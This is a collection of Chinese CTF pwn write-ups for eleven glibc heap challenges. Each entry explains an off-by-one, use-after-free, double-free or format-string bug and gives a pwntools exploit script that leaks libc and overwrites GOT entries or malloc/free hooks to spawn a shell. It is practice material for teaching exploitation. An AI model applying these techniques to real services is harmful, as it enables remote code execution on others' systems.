1.hitcontraining_heapcreator

一次add函数先申请固定0x10大小的chunk,又申请一个可控大小的chunk,其中第一个固定chunk的数据段存放第二个chunk的大小和第二个chunk的数据地址。

pP9sl2d.png

show函数会通过固定chunk块的数据地址找到固定chunk块打印内容。

漏洞点:edit编辑的时候,会读入size+1个字节,存在off-by-one漏洞。

漏洞利用:

  • 通过off-by-one漏洞在修改chunk0时修改chunk1的size字段为较大字段0x81,此时free(1)再malloc(0x70)会将free掉的chunk1申请回来,并且申请回来的是0x80大小的chunk,这0x80大小的chunk是覆盖chunk2的,这样就实现了通过chunk1可以溢出到chunk2的内容(因为正常申请和释放是控制不到那个固定chunk块的,edit只能修改包含data的那个自定义chunk块)
  • 修改chunk2的固定chunk块的chunk地址为free的got表地址,这样show调用时会打印处got表地址存放的内容,也就是free在libc中的真实地址,进而得到system地址。
  • 得到了system的地址,接下来将free_got表内容替换成system,执行free就是执行system,由于edit(2)是向chunk2的固定chunk块中的数据地址处写内容,因此替换成free got表后就是向free got中写内容了,直接改为system,并且在之前chunk0中写入“/bin/sh”,free(0)获取shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)
#gdb.attach(p)
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
#create(0x70,p64(0)*14)
#gdb.attach(p)

show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr))

libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')
log.success('system_addr: '+hex(system_addr))

edit(2,p64(system_addr))
#gdb.attach(p)
delete(0)

2.babyfengshui_33c3_2016

add函数中首先申请一个自定义大小chunk,之后申请一个固定0x80大小的chunk,自定义chunk中存放数据,固定chunk中存放自定义chunk的地址和chunk name。

pP9s1xA.png

free函数会首先free掉自定义chunk,再free掉含chunk name的chunk。

edit函数中存在一个对填充size的判断,即固定chunk地址+chunk size < chunk name地址时才可输入数据,意思就是最多只能输入chunk的size大小的数据。但该判断中存在漏洞,由于free的时候首先free上方的chunk,再free下方的chunk,free下方的chunk时会与上方的chunk进行合并。此时再malloc一个合并大小的size,那么自定义chunk回到原位置,固定chunk重新申请,位于heap最高处。

例如:

1
2
3
4
5
add(0x80,"nam1",0x80,"aaaa") 
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0) //释放后,chunk0 size变为0x111
add(0x100,'nam1',0x100,"cccc") malloc后自定义chunk回到原处,固定0x80chunk重新申请。

由于该原因,我们自定义chunk和包含name的chunk并不一定相邻,因此通过该方法之后,一个chunk块位于最上方,另一个chunk name块位于最下方,我们可以edit的size很大,就存在了堆溢出。

之后,利用堆溢出修改chunk1_name中存储的chunk1地址为free_got,调用show(1)就可以打印出free_got的真实地址,进而得到system地址,之后同上题,edit也是向name_chunk的数据地址中写内容,即向free_got表中写内容,直接修改为system,并在之前chunk2布置好”/bin/sh”,调用free(2)即执行system(“/bin/sh”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

update(1,0x80,p32(system_addr))
delete(2)

3.0ctf_2017_babyheap

add函数申请一块自定义大小的chunk,程序中存在一个结构体:分别存放是否已申请,chunk大小以及chunk的地址。

1
2
3
*(list + i) = 1;
*(list + i + 8) = size;
*(list + i + 16) = addr;

edit函数未检查输入大小,存在堆溢出。

show函数打印chunk size大小的数据。

利用思路:

  • 首先申请chunk1、2、3

  • 通过修改chunk1的size大小为chunk1_size + chunk2_size,free(1)再malloc(chunk1_size + chunk2_size),chunk1会申请回远处,但此时chunk1 size为chunk1_size + chunk2_size,因此chunk1包含了chunk2,此时show(1)可以打印出chunk2的内容。

  • 因为add是调用的alloc,申请chunk1时chunk2内容包括大小以被清0,因此要重新为chunk2大小复制,通过chunk1还原chunk2的size(unsorted bin size >= 0x80)。

  • 利用unsorted bin leak 通过free(2)将chunk2的fd显示出main_arean地址,通过show(1)打印出chunk2的内容,即main_arena地址,获取libcbase,再获取one_gadget地址。

  • 接着利用fastbin attack(原理类似double free attack),申请两块chunk4、5,free(5),修改5的fd为target_addr即malloc_hook-0x23处的fake_chunk,申请chunk5,再次申请即可申请到target_chunk,修改malloc_hook为one_gadget,调用add获取shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
alloc(0x80) #chunk 0
alloc(0x80) #chunk 1
alloc(0x80) #chunk 2
alloc(0x80) #chunk 3

#edit chunk1_size
free(1)
payload = b'a' * 0x88 + p64(0x121)
edit(0,len(payload),payload)

#re_alloc chunk1
alloc(0x110)

#edit chunk2_size
payload = b'a' * 0x88 + p64(0x91)
edit(1,len(payload),payload)

#free 2 to unsorted_bin
free(2)

show(1)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
libcbase = malloc_hook - libc.sym["__malloc_hook"]
print(hex(libcbase))

#re_alloc chunk2
alloc(0x80)
alloc(0x60) #chunk 4
alloc(0x60) #chunk 5

free(5)
payload = b'a' * 0x68 + p64(0x71) + p64(malloc_hook - 0x23)
edit(4,len(payload),payload)

alloc(0x60) #re_alloc chunk5
alloc(0x60) #alloc fake_chunk

one_gadget = libcbase + 0x4527a
payload = b'a' * 0x13 + p64(one_gadget)
edit(6,len(payload),payload)

alloc(0x10)

4.pwnable_hacknote

add中:申请一块内存,指向puts函数,之后再该位置+8处再申请一块size大小的内存填充数据。

1
2
3
4
5
*(&list + i) = malloc(0x10uLL);
(_QWORD *)*(&list + i) = puts();
read(0, buf, 8uLL);
size = atoi(buf);
read(0, *((void **)*(&list + i) + 1), size);

free中:删除+8位置chunk再删除该chunk。

1
2
free(*((void **)*(&list + i) + 1));
free(*(&list + i));

show中:调用指向的puts函数。

1
*(void (__fastcall **)(_QWORD))*(&list + i))(*(&list + i));

利用:

原理:add一次会申请两块内存,分别存放puts函数和输入的数据,由于第一块内存永为0x20,因此我们输入的数据chunk大小为不等0x20块。这样申请完并且f’ree后:

fastbin中:

pCflJts.png

此时,malloc一个chunk会首先申请到0x20的第一个chunk,由于输入大小为0x10,因此我们填入的数据段的chunk即为0x20中的第二个chunk,因为fast bin chunk 中链表为 chunk1->chunk0,所以我们填入的数据段就是chunk0的puts函数段,修改puts函数的参数地址为free_got地址,show调用即可打印出free_got真实地址,进而获取到system地址。

之后,再次delete后add(通过这种方式实现edit修改内容),修改puts函数地址为system函数地址,puts参数地址为binsh,由于system参数需要是binsh地址,所以直接写入”/bin/sh“不行,但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add(0x20,'aaaa')
add(0x20,'bbbb')

gdb.attach(p)
pause()
delete(1)
delete(0)

payload = p32(0x804862b)+p32(0x804A018)
add(8,payload)

show(1)
free_addr = u32(p.recv(4))

offset = libc.symbols['system'] - libc.symbols['free']
system = free_addr + offset
print(hex(system))

delete(2)
payload = p32(system)+ b';sh\0'
add(8,payload)

show(1)

5.

edit函数存在漏洞,当输入的size == chunk size + 10时,可以输入size + 1个字节数据,即存在off-by-one漏洞。

开始同3.babyheap,首先edit(0)将chunk1的size改大到可以覆盖chunk2,由于只能溢出1个字节,因此不可能修改size为大于0x100,而unsorted bin leak泄露main_arena地址必须要chunk_size > 0x80,因此,申请chunk1的size为0x10,申请chunk2的size为0x90,修改chunk1的size为0xa1,此时,由于chunk1_addr + 0xa1位置为0,不满足free chunk时的检查机制(即free(1)时,chunk2的pre_size和size要合法),因此再通过edit(2)可以控制到chunk1的最后,也就是检查的下一个chunk的pre_size和size。

1
2
3
4
5
6
7
8
add(0x18)
add(0x10)
add(0x90)
add(0x10)
payload = b'a' * 0x18 + p8(0xa1)
edit(0,0x18 + 10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)

之后,就可以free(1)了,free(1)之后chunk1包含了chunk2,由于同样是alloc,所以需要先恢复chunk2的size字段,之后free(2),通过chunk1打印出chunk2 fd位置的main_arena地址,进而获取one_gadget地址。

最后,通过fastbin dump,首先修改chunk2的size为0x71,之后free(2)将chunk2链入fastbin,并经过edit(1)修改chunk2的fd为target_addr(即malloc_hook - 0x23),这样add(0x60)两次就得到了target_addr,就可以将malloc_hook修改为one_gadget了。

但是,有个问题,如下四个one_gadget条件均不满足,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

对于最后一个rsp+0x70,查看rsp发现rsp+0x70处内容不为0,因此会失败。

pPCdYTg.png

解决方法:

当向__malloc_hook写one_gadget时,如果不满足one_gadget的条件时,而我们的环境不太好调整,所以无法getshell。
我们可以通过__malloc_hook和realloc_hook相配合的方法来使得one_gadget生效。

realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。

观察一下realloc_hook值不为0时realloc函数过程。

pPCdUYj.png

将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

exp:

1
2
3
4
5
payload = b'a'*11 + p64(one_gadget)+p64(realloc_hook + 4) 
//realloc+4表示指向push r13的位置,少push2次,rsp+0x70就会等于rsp+0x80 = 0满足one_gadget条件
edit(4,len(payload),payload)

add(0x10)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
add(0x18)
add(0x10)
add(0x90)
add(0x10)

edit(0,0x18 + 10,b'a' * 0x18 + p8(0xa1))

payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)

free(1)

add(0x90)
payload = b'a' * 0x18 + p64(0xa1)
edit(1,len(payload),payload)

free(2)
show(1)

malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
libcbase = malloc_hook - libc.sym["__malloc_hook"]
one_gadget = libcbase + 0xf1147
realloc_hook = libcbase + libc.symbols['realloc']
print(hex(libcbase))
print(hex(one_gadget))


add(0x90)
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)

free(2)
payload = b'a' * 0x18 + p64(0x71) + p64(malloc_hook - 0x23) * 2
edit(1,len(payload),payload)
#edit(4,0x60 + 10,b'a' * 0x60
add(0x60)
add(0x60)

gdb.attach(io)
pause()
payload = b'a'*11 + p64(one_gadget)+p64(realloc_hook + 4)
edit(4,len(payload),payload)

add(0x10)

6.ciscn_2019_final_3

libc2.27,add和del函数,add中会打印heap_addr,del没有指针置0,存在double free。

add:

pP89CAe.png

del:

pP89p7D.png

利用思路:

  • 由于保护全开,got表不可改,因此泄露libc修改malloc_hook为one_gadget。
  • 泄露libc主要通过unsorted bin attack泄露,由于有tcache,因此需要free一个size>0x410的chunk,但add最大可以申请0x78的chunk,因此可以通过double free修改chunk的size段为0x421
  • 首先add11个chunk,方便后续修改size后可以覆盖到,之后double free(10)会将chunk 10并入tcache,此时add一个size_10的chunk,修改fd为heap_addr - 0x10,这样就可以通过double free修改chunk0的size字段为0x421,之后free(0)实现unsorted bin free。
  • 同时free chunk1链入tcache中,add(0x78)会将chunk0申请回来,并且chunk1会保留其余0x3a1大小的chunk,且chunk1的fd也会保存main_arean的地址,此时add chunk1将chunk1从tcache中申请回来,就可以读取chunk1的fd内容,获取libc基址。

由于没有show函数,需要通过add时打印的heap_addr获取main_arena地址,因此add(14,0x78,’e’)时不只将chunk1的fd变成了main_arean的地址,由于此时tcache也指向了chunk1,因此fd改变后tcache中变成了chunk1->main_arena,两次add后,申请到main_arena地址处chunk,同时打印出main_arena地址。

add(14,0x78,’e’)之前:

pP8pqh9.png

pP8pbtJ.png

add之后:

pP8pOpR.png

pP8pHk4.png

  • 之后再次double free修改malloc_hook为one_gadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
heap = add(0,0x78,'a')#0
log.success("heap: " + hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x28,'d')#10

#change chunk_0 size
free(10)
free(10)

add(11,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(12,0x28,p64(heap-0x10))#5
add(13,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin

free(0)
free(1)
add(14,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(15,0x18,'f')#8 get chunk1

libc_base=add(16,0x18,'g') - 0x3ebca0 #9 get libc
log.success("libc_base: " + hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a38c

#change malloc_hook to one_gadget
free(2)
free(2)

add(17,0x78,p64(malloc_hook))
add(18,0x78,"aaaa")
add(19,0x78,p64(one_gadget))

io.sendline('1') //调用malloc_hook
io.sendline('22')
io.sendline('aaaa')

io.interactive()

7.hitcon_2018_children_tcache

libc2.27

add:

pP8yorD.png

show:

pP8y4xK.png

del:

pP8yIKO.png

利用思路

  • 漏洞点在add的strcpy中,strcpy会在复制完数据后添加一个\x00,因此会将next chunk的size字段的pre_in_use置0,方便我们进行chunk的合并。

  • 但free时会将data段全部填充为0xD0,因此pre_size字段也会被填充,而我们要free进行合并就必须满足free的chunk的pre_size字段为0,且pre_in_use为0,因此需要多次add,每次add的size递减,这样通过strcpy会将要被free的chunk的pre_size字段逐渐清空为0,即可free合并。

pP8yh26.png

该图是free0和free1后,程序将chunk2的pre_size字段全部填充为了0xda,由于pre_size段不为0,所以pre_in_use也不为空,因此我们需要申请9次,每次申请的字节递减1,分别将pre_in_use以及pre_size的8个字节都清空。

exp:

1
2
3
for i in range(9):
add(0x68 - i, 'b' * (0x68 - i))#0
free(0)

清空后:

pP8yTqe.png

之后再add一次0x68,将pre_size置为0x580(chunk0_size + chunk1_size) , 这样free(chunk2)即可和chunk0以及chunk1进行合并,之后通过申请部分,即可通过未释放的指针打印出main_arena。

合并后申请0x500,会对合并的那个unsorted bin chunk切分,其余的进入next chunk的位置,此时该next chunk为之前申请的0x68的索引0的,因此show(0)可打印地址。

pP8yHVH.png

  • 还需要注意的是,del时会将索引也情况,所以add后索引会变化的。

  • 具体思路:首先通过strcpy添加x00的功能清空pre_size和pre_in_use,使得满足free chunk合并,之后unsorted bin泄露libc,最后double free替换malloc_hook为one_gadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
add(0x500,'a')#0
add(0x68,'a')#1
add(0x5f0,'a')#2
add(0x20,'a')#3
free(1)
free(0)

for i in range(9):
add(0x68 - i, 'b' * (0x68 - i))#0
free(0)

add(0x68,b'a' * 0x60 + p64(0x580)) #0

free(2)

add(0x500, 'a'*0x4ff)#1
#free(7)

show(0) //由于索引会变化,此时的索引0为之前的最初chunk1段。
malloc_hook = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10
libc_base = malloc_hook -libc.sym['__malloc_hook']
log.success("libcbase: "+ hex(libc_base))
og=[0x4f2c5,0x4f322,0x10a38c]
onegadget=libc_base+og[1]

add(0x68,'a') #2

free(0)
free(2)

add(0x68,p64(malloc_hook))
add(0x68,'a')
add(0x68,p64(onegadget))

#gdb.attach(io)
#pause()

io.sendlineafter(": ",str(1))
io.sendlineafter(":",str(99))

io.interactive()

8.ciscn_2019_final_5

pie未开,got表可写,难点在于libc的泄露(需要修改free_got为puts_plt,还要构造参数puts_got)。

add:

pPG6ogx.png

add中,首先输入index和size,之后申请一块内存,并且将buf和size进行位或运算后存入6020e0数组中,size存入602180中。

edit:

pPG6Tv6.png

edit中,首先输入索引,并且循环6020e0数组,将数组里的堆地址与0xf进行位与运算后得到的等于索引的那一个进行读取,例如,索引为1,0x6020e0前两个元素中为0x602048和0x602041,则执行read(0,0x602040,size)的操作。

del:

pPG6bDO.png

del同edit,都是根据0x6020e0处内容与索引进行free。

利用思路:

  • 漏洞点在于索引处,当索引为0x10时,程序会向6020e0处存入堆地址 + 0x10,通过edit可以多溢出0x10个字节,因此可以覆盖chunk1的fd为0x6020e0,这样就可以申请到0x6020e0处的地址了(为什么要控制这一块,因为free函数的参数是根据0x6020e0处的内容结合索引值运算得到的)

pPG6HKK.png

  • 申请到之后依次修改为

    1
    p64(atoi_got)+p64(puts_got)+p64(free_got)+p64(0)*17+p32(0x10)*4     													//p32(0x10)*4 是为了填充size字段。

    修改完成后:

pPG6I81.png

之后,通过 edit(8,p64(0)+p64(0x400790)) 修改free_got表为puts_plt。

修改后:

pPG65CR.png

  • 此时,edit(8)及执行read(0,0x602010,size)操作,0x602018处为free_got地址,因此通过**edit(8,p64(0) + p64(elf.plt[“puts”]))**可以将free_got内容修改为puts_plt地址。此时执行free(0)

    由于free与edit一样参数是索引相与的结果,因此free(0)执行的就是puts(0x602020),也就是

    puts(puts_got),即可打印出puts的地址,进而得到libc地址。

  • 之后,同样修改atoi_got表内容为system地址,edit(1)即可修改0x602070处内容,0x602078为atoi,修改为system。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
heap_list = 0x6020e0
free_got=0x602018
puts_plt=0x400790
puts_got=0x602020
atoi_got=0x602078 - 7


add(16,0x28,'aaaa')
add(1, 0xb0,'bbbb')

free(1)
edit(0,p64(0) * 3 + p64(0xc1) + p64(heap_list)) //控制heap_list

add(2,0xb0,"cccc")
add(4,0xb0,p64(atoi_got)+p64(puts_got)+p64(free_got)+p64(0)*17+p32(0x10)*4)


edit(8,p64(0)+p64(0x400790))

#gdb.attach(io)
#pause()
free(0) //执行puts(puts_got)

libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']

system = libc_base + libc.sym['system']
success("libc_base:"+hex(libc_base))

edit(1, p64(system)*2)
io.recvuntil("your choice: ")
io.sendline('/bin/sh\x00')

io.interactive()

9.[CISCN 2021 初赛]lonelywolf

ubuntu18,tcache dump。

add:

pPJEuL9.png

add中,申请一块chunk,202050存size,buf存chunk_addr。

edit:

pPJEQd1.png

edit中,修改内容,无溢出。

show:

pPJE3i6.png

show中,会打印chunk_addr的地址。

del:

pPJEMZR.png

del中,未将指针置空,存在uaf和double free。

注意:本题所有的索引只有为0时才进行相关操作,因此函数中默认发送索引0即可,并且buf只会存一个地址,后来add的chunk会取代之前add的chunk,索引0指向最新add的chunk

利用思路:

  • 由于存在double free,且程序不允许add大于0x78的chunk,got表不可写,因此考虑通过double free申请到tcache_struct的0x251的chunk,free(tcache_struct)到unsorted bin中泄露libc。

  • 需要注意的是,题目是2.27-3ubuntu1.4版本的,对double free的chunk进行了tcache->key的检查,因此double free前需要先通过uaf修改bk为0,之后double free。通过show打印出heap - 0x260得到tcache_struct地址。

    pPJEnsJ.png

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    add(0x78)  				#等价于add(0,0x78)

    free() #free(0)
    edit(p64(0)*2) #edit(0,p64(0) * 2)
    free()

    show()

    io.recvuntil("Content: ")
    heap = u64(io.recv(6).ljust(8,b'\x00')) - 0x260
  • 之后,修改fd为tcache_struct + 0x10,两次add后申请到tcache_struct + 0x10处,由于tcache最多存7个,因此修改0x250处个数为7,这样free时就会把tcache_struct _chunk free到unsorted bin,进而泄露libc。

    pPJE8JK.png

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    edit(p64(heap + 0x10))

    add(0x78)
    add(0x78)
    edit(b'\x00'*35 + b'\x07')

    free()


    show()

    io.recvuntil("Content: ")
    malloc_hook = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10
  • 得到libc后,修改free_hook为system,首先修改tcache_struct的指针段,修改0x20和0x30分别为free_hook以及heap + 0x260,并填充size字段分别为01,之后add(0x10)申请到free_hook填充为system,add(0x20)申请到heap + 0x260填充binsh,free(0)执行system(“/bin/sh”)。

    pPJElIx.png

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    edit(b'\x01\x01' + b'\xff'*0x3e + p64(free_hook) + p64(heap + 0x260))

    gdb.attach(io)
    pause()

    add(0x10)
    edit(p64(system))

    add(0x20)
    edit(b"/bin/sh\x00")

    free()

10.[祥云杯 2021]note

libc2.23,add、show、edit三个功能函数。其中add会返回堆地址,show没用,edit中存在scanf格式化字符串漏洞。

pF4Rh7T.png

利用思路:

  • 题目中没有可供利用的函数用来泄露libc,因此考虑打stdout泄露libc,首先查看栈发现在scanf的第七个参数位置存在stdout地址,因此修改该地址的flag使缓冲区打开,进而输出_IO_file_jumps的地址,查找libc表获取libc基地址以及one_gadget。

    pF4Roh4.png

    1
    2
    3
    4
    5
    6
    7
    heap_base = add(0x60,"aaaa") - 0x10

    payload1 = b"%7$s\x00\x00\x00\x00" //第一次输入格式化字符串,%7$s表示修改第七个参数stdout
    payload2 = p64(0xfbad1800) + p64(0) * 3 //修改stdout的flag为0xfbad1800
    edit(payload1,payload2)

    _IO_file_jumps = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
  • 同样的方法修改malloc_hook为one_gadget,不过要通过realloc调节rsp满足条件。

    1
    2
    3
    4
    5
    6
    7
    one_gadget = libcbase + 0x4527a
    malloc_hook = libcbase + libc.sym["__malloc_hook"]
    realloc = libcbase + libc.sym["realloc"]

    payload1 = b"%7$s\x00\x00\x00\x00" + p64(malloc_hook - 8) //第七个参数写成malloc_hook-8即realloc_hook 地址
    payload2 = p64(one_gadget) + p64(realloc + 12) //realloc_hook改为one_gadget,malloc_hook 改为realloc+12
    edit(payload1,payload2)

    其中,realloc+12表示push一次(通过ida查看libc中的realloc),可以看到rsp+0x30的位置不为0,但rsp+0x8(图中红线位置划错了,)的位置为0,因此通过少push五次使rsp-0x28。

pF4RINF.png

pF4R5AU.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context(arch = "amd64",os = "linux", log_level = "debug")

#io = remote("node4.anna.nssctf.cn",28794)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

def menu(choice):
io.sendlineafter("choice: ",str(choice))

def add(size,data):
menu('1')
io.sendlineafter("size: ",str(size))
io.sendafter("content: ",data)
io.recvuntil("0x")
addr = int(io.recv(12),16)
return addr

def edit(data1,data2):
menu('2')
io.sendafter("say ? ",data1)
io.sendlineafter("? ",data2)

heap_base = add(0x60,"aaaa") - 0x10

payload1 = b"%7$s\x00\x00\x00\x00"
payload2 = p64(0xfbad1800) + p64(0) * 3
edit(payload1,payload2)


_IO_file_jumps = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
success("_IO_file_jumps: " + hex(_IO_file_jumps))
libcbase = _IO_file_jumps - 0x3c36e0
one_gadget = libcbase + 0x4527a
malloc_hook = libcbase + libc.sym["__malloc_hook"]
realloc = libcbase + libc.sym["realloc"]

gdb.attach(io)
pause()

success("one_gadget: " + hex(one_gadget))
success("malloc_hook: " + hex(malloc_hook))
success("realloc: " + hex(realloc))

payload1 = b"%7$s\x00\x00\x00\x00" + p64(malloc_hook - 8)
payload2 = p64(one_gadget) + p64(realloc + 12)
edit(payload1,payload2)

menu('1')
io.sendline(str(0x10))
#gdb.attach(io)
#pause()

io.interactive()

11.第十五届蓝桥杯网络安全 ezheap

libc2.31题目,保护全开。

提供了add、delete、show三个常规函数以及一个magic函数,其中delete中清空指针不存在uaf,add中不存在溢出,并且add中默认申请0x50 size,即size不可控。

漏洞点在magic中,magic也是free函数,不过存在uaf,但只能使用一次。

add:

pkFmYrR.png

magic:这里注意magic在菜单里是2106373,为7个字符,my_read也是读取7个字符,因此发送2106373时不能使用sendline,因为最后加的0a会被转换为0传给magic的索引,即如果用sendline的话,magic会默认free(0)。

pkFm8xJ.png

利用思路

1、由于只能利用一次uaf,且程序中add的size不可控,因此考虑通过uaf修改size(>0x400),free后获取libc。

2、之后通过overlap修改free_hook为system。

具体步骤

1、首先通过两次add,两次free,再两次add的方式,将堆地址存放在fd上,并通过show泄露出heap_base。

2、填充满tcache bin(2-8),之后通过magic(0),free(1),free(0)的方式,三次free到fastbin中,在fastbin中形成0->1->0(因为tcache会对free(0-1-0)形式的double free检测,今次这里考虑fastbin利用)。

3、通过double free修改chunk0的fd为target(这里的target为chunk0到chunk1中间,用于后边的overlap利用),并且在target处伪造fake_size(0x431)用来free进入unsorted bin,进而泄露libc。

1
2
3
4
add(p64(heap_base + 0x2c0)) #7
add(p64(0) * 3 + p64(0x431)) #8 #0x2a0
add('a') #12
add('a') #13 #0x2c0

图中chunk13即为0x2c0位置。

pkFmtq1.png

4、由于tcache在add的时候不检查申请内存处的size是否合法,因此add(0x50)其实是申请到了0x431大小的chunk。

5、free(13),将改chunk链入unsortdbin,再add一次通过unsortdbin切割并保留main_arena地址的方式泄露得到libc。

:这里在free这个伪造size的chunk之前需要在0x2c0 + 0x430 = 0x6e0的位置上伪造一个fake_size(0x31)用来绕过free对next_chunk_size的检测。

1
2
3
4
free(13)       
add("\xe0") #切割unsortdbin
show(13)
malloc_hook = u64(p.recvuntil("\x7f")[-6:].ljust(0x8, b"\x00")) - 0x470

6、free(12),free(13),add(13),通过13修改12的fd,构造tcache bin attack。

pkFmUVx.png

1
2
3
4
5
6
free(11)
free(12)
free(13)
add(b"\x00" * 0x38 + p64(0x61) + p64(free_hook)) #11
add(b"/bin/sh\x00") #12
add(p64(system)) #13

7、最后free获取shell。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

#context(arch='i386', os='linux', log_level="debug")

#p = remote("47.93.142.80",45412)
p = process("./pwn")
libc = ELF("libc.so.6")

def debug():
gdb.attach(p)
pause()

def add(content):
p.sendlineafter("4.exit", '1')
sleep(0.2)
p.send(content)

def free(idx):
p.sendlineafter("4.exit", '2')
sleep(0.2)
p.sendline(str(idx))

def show(idx):
p.sendlineafter("4.exit", '3')
sleep(0.2)
p.recv()
p.sendline(str(idx))

def magic(idx):
p.sendafter("4.exit", str(0x202405))
p.sendline(str(idx))

for i in range(11):
add("a")
add(p64(0) * 4 + p64(0) + p64(0x31)) #伪造后方的next_chunk_size,使得能够free(size_0x431)

free(0)
free(1)

add("a")
add("a")

show(0)

heap_base = u64(p.recv(6).ljust(0x8, b"\x00")) - 0x2a0
success("heap_base: " + hex(heap_base))


#uaf
for i in range(7):
free(2 + i)

magic(0)
free(1)
free(0)

for i in range(7):
add("a") #0-6

add(p64(heap_base + 0x2c0)) #7
add(p64(0) * 3 + p64(0x431)) #8
add('a') #12
add('a') #13

free(13) #free(size_0x431)
add("a") #切割
show(13)
malloc_hook = u64(p.recvuntil("\x7f")[-6:].ljust(0x8, b"\x00")) - 0x470
success("malloc_hook: " + hex(malloc_hook))
libcbase = malloc_hook - libc.sym["__malloc_hook"]
system = libcbase + libc.sym["system"]
free_hook = libcbase + libc.sym["__free_hook"]
success("free_hook: " + hex(free_hook))
success("system: " + hex(system))

debug()
free(11) #这里不明白为什么要多free一个
free(12)
free(13)

add(b"\x00" * 0x38 + p64(0x61) + p64(free_hook)) #11
add(b"/bin/sh\x00") #12
add(p64(system)) #13
#debug()
free(12)

p.interactive()